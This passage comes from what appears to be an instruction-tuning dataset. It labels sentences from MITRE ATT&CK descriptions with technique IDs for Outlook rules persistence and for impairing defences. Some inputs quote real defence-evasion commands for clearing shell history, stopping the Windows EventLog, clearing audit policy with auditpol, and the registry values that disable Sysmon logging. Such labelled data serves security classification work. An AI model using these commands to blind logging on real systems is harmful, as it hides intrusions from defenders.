request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet O365 Outlook Rules)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet O365 Outlook Rules) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system.", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook rules allow a user to define automated behavior to manage email messages.", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook rules allow a user to define automated behavior to manage email messages. ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender.", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started.", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules) ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may impair command history logging to hide commands they run on a compromised system.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may impair command history logging to hide commands they run on a compromised system. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\".", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\".", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default).", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>).", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>). ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage.", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules.", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel. ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti) ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This data is used by security tools and analysts to generate detections.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This data is used by security tools and analysts to generate detections. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, the service automatically starts when a system powers on.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, the service automatically starts when a system powers on. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target system-wide logging or just that of a particular application.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target system-wide logging or just that of a particular application. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, the service may be disabled by modifying the \u201cStart\u201d value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, the service may be disabled by modifying the \u201cStart\u201d value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are several ways to disable the EventLog service via registry key modification.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several ways to disable the EventLog service via registry key modification. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>auditpol /set", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>auditpol /set ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/category:\u201dAccount Logon\u201d", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /category:\u201dAccount Logon\u201d ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/success:", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /success: ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "disable /failure:", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: disable /failure: ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/allusers</code>.(Citation: T1562.002_redcanaryco)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /allusers</code>.(Citation: T1562.002_redcanaryco) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also tamper with artifacts deployed and utilized by security tools.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also tamper with artifacts deployed and utilized by security tools. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security tools may make dynamic changes to system components in order to maintain visibility into specific events.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security tools may make dynamic changes to system components in order to maintain visibility into specific events. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also focus on specific applications such as Sysmon.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also focus on specific applications such as Sysmon. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the \u201cStart\u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the \u201cStart\u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may 